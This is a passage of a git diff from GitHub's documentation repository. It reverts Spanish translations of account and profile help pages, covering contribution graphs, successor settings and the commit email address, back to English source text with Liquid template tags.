%}](/github-ae@latest/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)" en la documentación de {% data variables.product.prodname_ghe_managed %}.{% endif %} +- To send enterprise contributions from {% data variables.product.prodname_ghe_server %} to your {% data variables.product.prodname_dotcom_the_website %} profile, see "[Sending enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile](/enterprise-server/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)" in the {% data variables.product.prodname_ghe_server %} documentation.{% ifversion ghae-next %} +- To send enterprise contributions from {% data variables.product.prodname_ghe_managed %} to your {% data variables.product.prodname_dotcom_the_website %} profile, see "[Sending enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile](/github-ae@latest/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)" in the {% data variables.product.prodname_ghe_managed %} documentation.{% endif %} {% elsif ghes %} -1. Iniciar sesión en {% data variables.product.prodname_ghe_server %} y {% data variables.product.prodname_dotcom_the_website %}. -1. En {% data variables.product.prodname_ghe_server %}, en la esquina superior derecha de cualquier página, haz clic en tu foto de perfil y luego haz clic en **Ajustes**. ![Icono Settings (Parámetros) en la barra de usuario](/assets/images/help/settings/userbar-account-settings.png) +1. Sign in to {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_dotcom_the_website %}. +1. On {% data variables.product.prodname_ghe_server %}, in the upper-right corner of any page, click your profile photo, then click **Settings**. + ![Settings icon in the user bar](/assets/images/help/settings/userbar-account-settings.png) {% data reusables.github-connect.github-connect-tab-user-settings %} {% data reusables.github-connect.connect-dotcom-and-enterprise %} -1. Revisa los recursos a los que {% data variables.product.prodname_ghe_server %} accederá desde tu cuenta de {% data variables.product.prodname_dotcom_the_website %}, posteriormente, da clic en **Autorizar**. ![Autorizar conexión entre GitHub Enterprise Server y GitHub.com](/assets/images/help/settings/authorize-ghe-to-connect-to-dotcom.png) +1. Review the resources that {% data variables.product.prodname_ghe_server %} will access from your {% data variables.product.prodname_dotcom_the_website %} account, then click **Authorize**. + ![Authorize connection between GitHub Enterprise Server and GitHub.com](/assets/images/help/settings/authorize-ghe-to-connect-to-dotcom.png) {% data reusables.github-connect.send-contribution-counts-to-githubcom %} {% elsif ghae %} -1. Iniciar sesión en {% data variables.product.prodname_ghe_managed %} y {% data variables.product.prodname_dotcom_the_website %}. -1. En {% data variables.product.prodname_ghe_managed %}, en la esquina superior derecha de cualquier página, haz clic en tu foto de perfil y luego haz clic en **Ajustes**. ![Icono Settings (Parámetros) en la barra de usuario](/assets/images/help/settings/userbar-account-settings.png) +1. Sign in to {% data variables.product.prodname_ghe_managed %} and {% data variables.product.prodname_dotcom_the_website %}. +1. On {% data variables.product.prodname_ghe_managed %}, in the upper-right corner of any page, click your profile photo, then click **Settings**. + ![Settings icon in the user bar](/assets/images/help/settings/userbar-account-settings.png) {% data reusables.github-connect.github-connect-tab-user-settings %} {% data reusables.github-connect.connect-dotcom-and-enterprise %} {% data reusables.github-connect.authorize-connection %} diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md index 2b2434605b..75796df81d 100644 --- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md +++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md @@ -1,6 +1,6 @@ --- -title: Ver contribuciones en tu perfil -intro: 'Tu perfil de {% data variables.product.product_name %} presume {% ifversion fpt or ghes or ghec %}tus repositorios anclados, así como{% endif %} una gráfica de tus contribuciones al repositorio en el último año.' +title: Viewing contributions on your profile +intro: 'Your {% data variables.product.product_name %} profile shows off {% ifversion fpt or ghes or ghec %}your pinned repositories as well as{% endif %} a graph of your repository contributions over the past year.' redirect_from: - /articles/viewing-contributions/ - /articles/viewing-contributions-on-your-profile-page/ @@ -14,92 +14,91 @@ versions: ghec: '*' topics: - Profiles -shortTitle: Visualizar contribuciones +shortTitle: View contributions --- - -{% ifversion fpt or ghes or ghec %}Tu gráfica de contribuciones muestra la actividad de los repositorios públicos. {% endif %}Puedes elegir que se muestre la actividad tanto de {% ifversion fpt or ghes or ghec %}los repositorios públicos como la de {% endif %}los privados, con detalles específicos de tu actividad anonimizada en los repositorios privados. Para obtener más información, consulte "[Publicar u ocultar tus contribuciones privadas en tu perfil](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)." +{% ifversion fpt or ghes or ghec %}Your contribution graph shows activity from public repositories. {% endif %}You can choose to show activity from {% ifversion fpt or ghes or ghec %}both public and {% endif %}private repositories, with specific details of your activity in private repositories anonymized. For more information, see "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)." {% note %} -**Nota:** Las confirmaciones solo aparecerán en tu gráfica de contribuciones si la dirección de correo electrónico que utilizaste para crear las confirmaciones está conectada a tu cuenta en {% data variables.product.product_name %}. Para obtener más información, consulta"[¿Por qué mis contribuciones no se muestran en mi perfil?](/articles/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account)" +**Note:** Commits will only appear on your contributions graph if the email address you used to author the commits is connected to your account on {% data variables.product.product_name %}. For more information, see "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account)" {% endnote %} -## Qué cuenta como una contribución +## What counts as a contribution -En tu página de perfil, determinadas acciones cuentan como contribuciones: +On your profile page, certain actions count as contributions: -- Confirmar cambios en una rama por defecto de un repositorio o en la rama `gh-pages` -- Abrir una propuesta -- Iniciar un debate -- Responder a un debate -- Proponer una solicitud de extracción -- Enviar una revisión de solicitud de extracción{% ifversion ghes or ghae %} -- Confirmar como coautor en la rama por defecto de un repositorio o en la rama `gh-pages`{% endif %} +- Committing to a repository's default branch or `gh-pages` branch +- Opening an issue +- Opening a discussion +- Answering a discussion +- Proposing a pull request +- Submitting a pull request review{% ifversion ghes or ghae %} +- Co-authoring commits in a repository's default branch or `gh-pages` branch{% endif %} {% data reusables.pull_requests.pull_request_merges_and_contributions %} -## Repositorios populares +## Popular repositories -Esta sección muestra tus repositorios con la mayor cantidad de observadores. {% ifversion fpt or ghes or ghec %}Una vez que [anclas los repositorios a tu perfil](/articles/pinning-repositories-to-your-profile), esta sección cambiará a "Repositorios anclados".{% endif %} +This section displays your repositories with the most watchers. {% ifversion fpt or ghes or ghec %}Once you [pin repositories to your profile](/articles/pinning-repositories-to-your-profile), this section will change to "Pinned repositories."{% endif %} -![Repositorios populares](/assets/images/help/profile/profile_popular_repositories.png) +![Popular repositories](/assets/images/help/profile/profile_popular_repositories.png) {% ifversion fpt or ghes or ghec %} -## Repositorios anclados +## Pinned repositories -Esta sección muestra hasta seis repositorios públicos y puede incluir tus repositorios y los repositorios a los que has contribuidos. Para ver fácilmente detalles importantes sobre los repositorios que has seleccionado para mostrar, cada repositorio en esta sección incluye un resumen del trabajo que se está realizando, la cantidad de [estrellas](/articles/saving-repositories-with-stars/) que el repositorio ha recibido y el lenguaje de programación principal utilizado en el repositorio. Para obtener más información, consulta "[Anclar repositorios en tu perfil](/articles/pinning-repositories-to-your-profile)." +This section displays up to six public repositories and can include your repositories as well as repositories you've contributed to. To easily see important details about the repositories you've chosen to feature, each repository in this section includes a summary of the work being done, the number of [stars](/articles/saving-repositories-with-stars/) the repository has received, and the main programming language used in the repository. For more information, see "[Pinning repositories to your profile](/articles/pinning-repositories-to-your-profile)." -![Repositorios anclados](/assets/images/help/profile/profile_pinned_repositories.png) +![Pinned repositories](/assets/images/help/profile/profile_pinned_repositories.png) {% endif %} -## Calendario de contribuciones +## Contributions calendar -Tu calendario de contribuciones muestra tu actividad de contribuciones. +Your contributions calendar shows your contribution activity. -### Ver contribuciones de momentos específicos +### Viewing contributions from specific times -- Haz clic en el cuadrado de un día para mostrar las contribuciones realizadas durante ese período de 24 horas. -- Presiona *Shift* y haz clic en el cuadrado de otro día para mostrar las contribuciones que se hicieron durante ese rango tiempo. +- Click on a day's square to show the contributions made during that 24-hour period. +- Press *Shift* and click on another day's square to show contributions made during that time span. {% note %} -**Nota:** puedes seleccionar hasta un rango de un mes en tu calendario de contribuciones. Si seleccionas un rango de tiempo más amplio, solo mostraremos un mes de contribuciones. +**Note:** You can select up to a one-month range on your contributions calendar. If you select a larger time span, we will only display one month of contributions. {% endnote %} -![Tu gráfico de contribuciones](/assets/images/help/profile/contributions_graph.png) +![Your contributions graph](/assets/images/help/profile/contributions_graph.png) -### Cómo se calculan los momentos de los eventos de las contribuciones +### How contribution event times are calculated -Las marcas horarias se calculan de forma diferente para las confirmaciones y las solicitudes de extracción: -- **Confirmaciones** utilizan la información de la zona horaria en la marca de tiempo de la confirmación. Para obtener más información, consulta "[Solución de problemas con confirmaciones en tu cronología](/articles/troubleshooting-commits-on-your-timeline)." -- **Las solicitudes de extracción** y **las propuestas** abiertas en {% data variables.product.product_name %} utilizan la zona horaria de tu navegador. Aquellas abiertas a través de API utilizan la marca horaria o la zona horaria [especificada en la llamada de API](https://developer.github.com/changes/2014-03-04-timezone-handling-changes). +Timestamps are calculated differently for commits and pull requests: +- **Commits** use the time zone information in the commit timestamp. For more information, see "[Troubleshooting commits on your timeline](/articles/troubleshooting-commits-on-your-timeline)." +- **Pull requests** and **issues** opened on {% data variables.product.product_name %} use your browser's time zone. Those opened via the API use the timestamp or time zone [specified in the API call](https://developer.github.com/changes/2014-03-04-timezone-handling-changes). -## Resumen de la actividad +## Activity overview -{% data reusables.profile.activity-overview-summary %} Para obtener más información, consulta "[Mostrar un resumen de tu actividad en tu perfil](/articles/showing-an-overview-of-your-activity-on-your-profile)." +{% data reusables.profile.activity-overview-summary %} For more information, see "[Showing an overview of your activity on your profile](/articles/showing-an-overview-of-your-activity-on-your-profile)." -![Sección de resumen de actividad en el perfil](/assets/images/help/profile/activity-overview-section.png) +![Activity overview section on profile](/assets/images/help/profile/activity-overview-section.png) -Las organizaciones que se muestran en el resumen de la actividad se priorizan de acuerdo con qué tan activo estés en la organización. Si mencionas una organización en tu biografía de perfil y eres miembro de una organización, entonces esa organización se prioriza en el resumen de la actividad. For more information, see "[Mentioning people and teams](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)" or "[Adding a bio to your profile](/articles/adding-a-bio-to-your-profile/)." +The organizations featured in the activity overview are prioritized according to how active you are in the organization. If you @mention an organization in your profile bio, and you’re an organization member, then that organization is prioritized first in the activity overview. For more information, see "[Mentioning people and teams](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)" or "[Adding a bio to your profile](/articles/adding-a-bio-to-your-profile/)." -## Actividad de contribución +## Contribution activity -La sección de actividad de contribuciones incluye una cronología detallada de tu trabajo, incluyendo confirmaciones que has realizado o de las que eres coautor, solicitudes de extracción que propusiste y propuestas que abriste. Puedes ver tus contribuciones en el tiempo al hacer clic en **Show more activity (Mostrar más actividad)** en la parte inferior de tu actividad de contribuciones o al hacer clic en el año que te interesa ver hacia la derecha de la página. Momentos importantes, como la fecha en que te uniste a una organización, propusiste tu primera solicitud de extracción o abriste una propuesta de alto perfil, se resaltan en tu actividad de contribuciones. Si no puedes ver determinados eventos en tu cronología, asegúrate de que todavía tengas acceso a la organización o al repositorio donde ocurrió el evento. +The contribution activity section includes a detailed timeline of your work, including commits you've made or co-authored, pull requests you've proposed, and issues you've opened. You can see your contributions over time by either clicking **Show more activity** at the bottom of your contribution activity or by clicking the year you're interested in viewing on the right side of the page. Important moments, like the date you joined an organization, proposed your first pull request, or opened a high-profile issue, are highlighted in your contribution activity. If you can't see certain events in your timeline, check to make sure you still have access to the organization or repository where the event happened. -![Filtro de tiempo de actividad de contribuciones](/assets/images/help/profile/contributions_activity_time_filter.png) +![Contribution activity time filter](/assets/images/help/profile/contributions_activity_time_filter.png) {% ifversion fpt or ghes or ghae-next or ghec %} -## Ver contribuciones de {% data variables.product.prodname_enterprise %} en {% data variables.product.prodname_dotcom_the_website %} +## Viewing contributions from {% data variables.product.prodname_enterprise %} on {% data variables.product.prodname_dotcom_the_website %} If you use {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae-next %} or {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} and your enterprise owner enables {% data variables.product.prodname_unified_contributions %}, you can send enterprise contribution counts from to your {% data variables.product.prodname_dotcom_the_website %} profile. For more information, see "[Sending enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)." {% endif %} -## Leer más +## Further reading -- "[Ver las contribuciones en tu página de perfil](/articles/viewing-contributions-on-your-profile-page)" +- "[Viewing contributions on your profile page](/articles/viewing-contributions-on-your-profile-page)" diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md index 3c2e551cd7..4d8e8fa206 100644 --- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md +++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md @@ -1,6 +1,6 @@ --- -title: ¿Por qué mis contribuciones no aparecen en mi perfil? -intro: Aprende sobre las razones habituales por las cuales podrían faltar contribuciones en tu gráfica. +title: Why are my contributions not showing up on my profile? +intro: Learn common reasons that contributions may be missing from your contributions graph. redirect_from: - /articles/why-are-my-contributions-not-showing-up-on-my-profile - /github/setting-up-and-managing-your-github-profile/why-are-my-contributions-not-showing-up-on-my-profile @@ -12,59 +12,59 @@ versions: ghec: '*' topics: - Profiles -shortTitle: Contribuciones faltantes +shortTitle: Missing contributions --- -## Acerca de tu gráfica de contribuciones +## About your contribution graph -Your profile contributions graph is a record of contributions you've made to repositories {% ifversion ghae %}owned by{% else %}on{% endif %} {% data variables.product.product_location %}. Las contribuciones son registros horarios de acuerdo a la zona horaria universal coordinada (UTC) en lugar de tu zona horaria local. Las contribuciones solo se cuentan si cumplen con determinados criterios. En algunos casos, necesitamos reconstruir tu gráfico para que aparezcan las contribuciones. +Your profile contributions graph is a record of contributions you've made to repositories {% ifversion ghae %}owned by{% else %}on{% endif %} {% data variables.product.product_location %}. Contributions are timestamped according to Coordinated Universal Time (UTC) rather than your local time zone. Contributions are only counted if they meet certain criteria. In some cases, we may need to rebuild your graph in order for contributions to appear. -## Contribuciones que se cuentan +## Contributions that are counted -### Propuestas, solicitudes de cambios y debates +### Issues, pull requests and discussions -Las propuestas, solicitudes de cambios y debates aparecerán en tu gráfica de contribuciones si se abrieron en un repositorio independiente y no en una bifurcación. +Issues, pull requests and discussions will appear on your contribution graph if they were opened in a standalone repository, not a fork. -### Confirmaciones -Las confirmaciones aparecerán en tu gráfico de contribución si cumplen **todas** las condiciones a continuación: +### Commits +Commits will appear on your contributions graph if they meet **all** of the following conditions: - The email address used for the commits is associated with your account on {% data variables.product.product_location %}. -- Las confirmaciones se hicieron en un repositorio independiente, no en una bifurcación. -- Las confirmaciones se hicieron: - - En la rama predeterminada del repositorio - - En la rama `gh-pages` (para los repositorios con sitios de proyecto) +- The commits were made in a standalone repository, not a fork. +- The commits were made: + - In the repository's default branch + - In the `gh-pages` branch (for repositories with project sites) -Para obtener más información sobre los sitios de proyecto, consulta la sección "[Acerca de las {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites)". +For more information on project sites, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites)." -Asimismo, **al menos una** de las siguientes afirmaciones debe ser verdadera: -- Eres un colaborador en el repositorio o eres miembro de la organización a la que pertenece el repositorio. -- Has bifurcado el repositorio. -- Has abierto una solicitud de extracción o una propuesta en el repositorio. -- Has destacado el repositorio. +In addition, **at least one** of the following must be true: +- You are a collaborator on the repository or are a member of the organization that owns the repository. +- You have forked the repository. +- You have opened a pull request or issue in the repository. +- You have starred the repository. -## Razones comunes por las que las contribuciones no se cuentan +## Common reasons that contributions are not counted {% data reusables.pull_requests.pull_request_merges_and_contributions %} -### La confirmación se hizo hace menos de 24 horas +### Commit was made less than 24 hours ago -Después de hacer una confirmación que cumpla con los requisitos para contar como una contribución, es posible que debas esperar hasta 24 horas para que aparezca la contribución en tu gráfico de contribución. +After making a commit that meets the requirements to count as a contribution, you may need to wait for up to 24 hours to see the contribution appear on your contributions graph. -### Tu correo electrónico de confirmaciones de Git no está conectado a tu cuenta +### Your local Git commit email isn't connected to your account Commits must be made with an email address that is connected to your account on {% data variables.product.product_location %}{% ifversion fpt or ghec %}, or the {% data variables.product.prodname_dotcom %}-provided `noreply` email address provided to you in your email settings,{% endif %} in order to appear on your contributions graph.{% ifversion fpt or ghec %} For more information about `noreply` email addresses, see "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#about-commit-email-addresses)."{% endif %} -Puedes verificar la dirección de correo electrónico para una confirmación si agregas `.patch` al final de la URL de la confirmación, por ejemplo https://github.com/octocat/octocat.github.io/commit/67c0afc1da354d8571f51b6f0af8f2794117fd10.patch: +You can check the email address used for a commit by adding `.patch` to the end of a commit URL, e.g. https://github.com/octocat/octocat.github.io/commit/67c0afc1da354d8571f51b6f0af8f2794117fd10.patch: ``` From 67c0afc1da354d8571f51b6f0af8f2794117fd10 Mon Sep 17 00:00:00 2001 From: The Octocat Date: Sun, 27 Apr 2014 15:36:39 +0530 -Subject: [PATCH] índice actualizado para un mejor mensaje de bienvenida +Subject: [PATCH] updated index for better welcome message ``` -La dirección de correo electrónico en el campo `From: (Desde:)` es la dirección que se estableció en los [parámetros de configuración de Git local](/articles/set-up-git). En este ejemplo, la dirección de correo electrónico que se usó para la confirmación es `octocat@nowhere.com`. +The email address in the `From:` field is the address that was set in the [local git config settings](/articles/set-up-git). In this example, the email address used for the commit is `octocat@nowhere.com`. -If the email address used for the commit is not connected to your account on {% data variables.product.product_location %}, {% ifversion ghae %}change the email address used to author commits in Git. For more information, see "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)."{% else %}you must [add the email address](/articles/adding-an-email-address-to-your-github-account) to your account on {% data variables.product.product_location %}. Tu gráfica de contribuciones se reconstruirá automáticamente cuando agregues la nueva dirección.{% endif %} +If the email address used for the commit is not connected to your account on {% data variables.product.product_location %}, {% ifversion ghae %}change the email address used to author commits in Git. For more information, see "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)."{% else %}you must [add the email address](/articles/adding-an-email-address-to-your-github-account) to your account on {% data variables.product.product_location %}. Your contributions graph will be rebuilt automatically when you add the new address.{% endif %} {% warning %} @@ -72,27 +72,27 @@ If the email address used for the commit is not connected to your account on {% {% endwarning %} -### La confirmación no se hizo en la rama predeterminada o en la rama `gh-pages` +### Commit was not made in the default or `gh-pages` branch -Las confirmaciones solo se cuentan si se realizan en la rama predeterminada o en la rama `gh-pages` (para los repositorios con sitios de proyecto). Para obtener más información, consulta la sección "[Acerca de {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites)". +Commits are only counted if they are made in the default branch or the `gh-pages` branch (for repositories with project sites). For more information, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites)." -Si tus confirmaciones están en una rama que no es una rama predeterminada ni es la rama `gh-pages` y te gustaría que contaran para tus contribuciones, necesitarás realizar las siguientes acciones: -- [Abre una solicitud de extracción](/articles/creating-a-pull-request) para obtener la fusión de tus cambios en la rama predeterminada o la rama `gh-pages`. -- [Cambia la rama predeterminada](/github/administering-a-repository/changing-the-default-branch) del repositorio. +If your commits are in a non-default or non-`gh-pages` branch and you'd like them to count toward your contributions, you will need to do one of the following: +- [Open a pull request](/articles/creating-a-pull-request) to have your changes merged into the default branch or the `gh-pages` branch. +- [Change the default branch](/github/administering-a-repository/changing-the-default-branch) of the repository. {% warning %} -**Warning**: Changing the default branch of the repository will change it for all repository collaborators. Realiza esta acción solamente si quieres que la nueva rama se convierta en la base respecto de todas las confirmaciones y las solicitudes de extracción que se harán en el futuro. +**Warning**: Changing the default branch of the repository will change it for all repository collaborators. Only do this if you want the new branch to become the base against which all future pull requests and commits will be made. {% endwarning %} -### La confirmación se hizo en una bifurcación +### Commit was made in a fork -Las confirmaciones que se hicieron en una bifurcación no contarán para tus contribuciones. Para hacer que cuenten, debes realizar una de las siguientes acciones: -- [Abre una solicitud de extracción](/articles/creating-a-pull-request) para que se fusionen tus cambios en el repositorio padre. -- To detach the fork and turn it into a standalone repository on {% data variables.product.product_location %}, contact {% data variables.contact.contact_support %}. If the fork has forks of its own, let {% data variables.contact.contact_support %} know if the forks should move with your repository into a new network or remain in the current network. Para obtener más información, consulta "[Acerca de las bifurcaciones](/articles/about-forks/)." +Commits made in a fork will not count toward your contributions. To make them count, you must do one of the following: +- [Open a pull request](/articles/creating-a-pull-request) to have your changes merged into the parent repository. +- To detach the fork and turn it into a standalone repository on {% data variables.product.product_location %}, contact {% data variables.contact.contact_support %}. If the fork has forks of its own, let {% data variables.contact.contact_support %} know if the forks should move with your repository into a new network or remain in the current network. For more information, see "[About forks](/articles/about-forks/)." -## Leer más +## Further reading -- "[Divulgar u ocultar tus contribuciones privadas en tu perfil](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)" -- "[Ver las contribuciones en tu página de perfil](/articles/viewing-contributions-on-your-profile-page)" +- "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)" +- "[Viewing contributions on your profile page](/articles/viewing-contributions-on-your-profile-page)" diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories.md index b9ccbacd6b..bb515b2e0b 100644 --- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories.md +++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories.md @@ -1,6 +1,6 @@ --- -title: Mantener la continuidad de la propiedad para los repositorios de tu cuenta de usuario -intro: Puedes invitar a alguien para administrar los repositorios que pertenezcan a tu usuario si no puedes hacerlo tú mismo. +title: Maintaining ownership continuity of your user account's repositories +intro: You can invite someone to manage your user owned repositories if you are not able to. versions: fpt: '*' ghec: '*' @@ -10,29 +10,30 @@ topics: redirect_from: - /github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories - /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories -shortTitle: Continuidad de la propiedad +shortTitle: Ownership continuity --- +## About successors -## Acerca de los sucesores +We recommend inviting another {% data variables.product.company_short %} user to be your successor, to manage your user owned repositories if you cannot. As a successor, they will have permission to: -Te recomendamos invitar a otro usuario de {% data variables.product.company_short %} para que sea tu sucesor y que así administre los repositorios que te pertenezcan si tú no puedes hacerlo. Como sucesores, tendrán permisos para: +- Archive your public repositories. +- Transfer your public repositories to their own user owned account. +- Transfer your public repositories to an organization where they can create repositories. -- Archivar tus repositorios públicos. -- Transferir tus repositorios públicos a su propia cuenta de usuario. -- Transferir tus repositorios públicos a una organización donde puedan crear repositorios. +Successors cannot log into your account. -Los sucesores no pueden iniciar sesión en tu cuenta. +An appointed successor can manage your public repositories after presenting a death certificate then waiting for 7 days or presenting an obituary then waiting for 21 days. For more information, see "[{% data variables.product.company_short %} Deceased User Policy](/free-pro-team@latest/github/site-policy/github-deceased-user-policy)." -Un sucesor designado puede administrar tus repositorios públicos después de presentar un certificado de defunción y esperar por 7 días o presentar un obituario y esperar por 21 días. For more information, see "[{% data variables.product.company_short %} Deceased User Policy](/free-pro-team@latest/github/site-policy/github-deceased-user-policy)." +To request access to manage repositories as a successor, contact [GitHub Support](https://support.github.com/contact?tags=docs-accounts). -Para solicitar acceso para administrar los repositorios como sucesor, contacta a[Soporte de GitHub](https://support.github.com/contact?tags=docs-accounts). - -## Invitar un sucesor -La persona que invites para ser tu sucesor deberá tener una cuenta de {% data variables.product.company_short %}. +## Inviting a successor +The person you invite to be your successor must have a {% data variables.product.company_short %} account. {% data reusables.user_settings.access_settings %} {% data reusables.user_settings.account_settings %} -3. Debajo de "Ajustes de sucesor", para invitar a un sucesor, comienza a escribir el nombre de usuario, nombre completo, o dirección de correo electrónico. Posteriormente, da clic en su nombre cuando éste aparezca. ![Campo de bísqueda para invitación de sucesor](/assets/images/help/settings/settings-invite-successor-search-field.png) -4. Da clic en **Agregar sucesor**. +3. Under "Successor settings", to invite a successor, begin typing a username, full name, or email address, then click their name when it appears. + ![Successor invitation search field](/assets/images/help/settings/settings-invite-successor-search-field.png) +4. Click **Add successor**. {% data reusables.user_settings.sudo-mode-popup %} -5. El usuario que has invitado se listará como "Pendiente" hasta que acepte convertirse en tu sucesor. ![Invitación de sucesor pendiente](/assets/images/help/settings/settings-pending-successor.png) +5. The user you've invited will be listed as "Pending" until they agree to become your successor. + ![Pending successor invitation](/assets/images/help/settings/settings-pending-successor.png) diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md index 59fcf6e432..27cd59c38b 100644 --- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md +++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md @@ -1,6 +1,6 @@ --- -title: Configurar tu dirección de correo electrónico de confirmación -intro: 'Puedes configurar la dirección de correo electrónico que se utiliza para crear confirmaciones en {% data variables.product.product_location %} y en tu computadora.' +title: Setting your commit email address +intro: 'You can set the email address that is used to author commits on {% data variables.product.product_location %} and on your computer.' redirect_from: - /articles/keeping-your-email-address-private/ - /articles/setting-your-commit-email-address-on-github/ @@ -20,32 +20,31 @@ versions: topics: - Accounts - Notifications -shortTitle: Configurar la dirección de correo electrónico para confirmaciones +shortTitle: Set commit email address --- +## About commit email addresses -## Acerca de las dirección de correo electrónico de confirmación +{% data variables.product.prodname_dotcom %} uses your commit email address to associate commits with your account on {% data variables.product.product_location %}. You can choose the email address that will be associated with the commits you push from the command line as well as web-based Git operations you make. -{% data variables.product.prodname_dotcom %} uses your commit email address to associate commits with your account on {% data variables.product.product_location %}. Puedes elegir la dirección de correo electrónico que se asociará con las confirmaciones que subes desde la línea de comando y las operaciones de Git con base en la web que realizas. +For web-based Git operations, you can set your commit email address on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. For commits you push from the command line, you can set your commit email address in Git. -For web-based Git operations, you can set your commit email address on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. Para las confirmaciones que subes desde la línea de comando, puedes configurar tu dirección de correo electrónico de confirmaciones en Git. - -{% ifversion fpt or ghec %}Cualquier confirmación que hayas realizado antes de cambiar tu dirección de correo electrónico de confirmaciones estará todavía asociada a tu dirección de correo electrónico previa.{% else %}Después de cambiar tu dirección de correo electrónico de confirmaciones en {% data variables.product.product_name %}, la nueva dirección de correo electrónico será visible por defecto en todas tus operaciones futuras de Git con base en la web. Cualquier confirmación que realices antes de cambiar tu dirección de correo electrónico de confirmaciones estarán todavía asociada a tu dirección de correo electrónico anterior.{% endif %} +{% ifversion fpt or ghec %}Any commits you made prior to changing your commit email address are still associated with your previous email address.{% else %}After changing your commit email address on {% data variables.product.product_name %}, the new email address will be visible in all of your future web-based Git operations by default. Any commits you made prior to changing your commit email address are still associated with your previous email address.{% endif %} {% ifversion fpt or ghec %} {% note %} -**Nota**: {% data reusables.user_settings.no-verification-disposable-emails %} +**Note**: {% data reusables.user_settings.no-verification-disposable-emails %} {% endnote %} {% endif %} -{% ifversion fpt or ghec %}If you'd like to keep your personal email address private, you can use a `no-reply` email address from {% data variables.product.product_name %} as your commit email address. Para utilizar tu dirección de correo electrónico `noreply` para confirmaciones que subes desde la línea de comando, utiliza esa dirección de correo electrónico cuando configuras tu dirección de correo electrónico de confirmaciones en Git. Para utilizar tu dirección `noreply` para las operaciones de Git con base en la web, configura tu dirección de correo electrónico de confirmaciones en GitHub y elige **Keep my email address private (Mantener mi dirección de correo electrónico privada)**. +{% ifversion fpt or ghec %}If you'd like to keep your personal email address 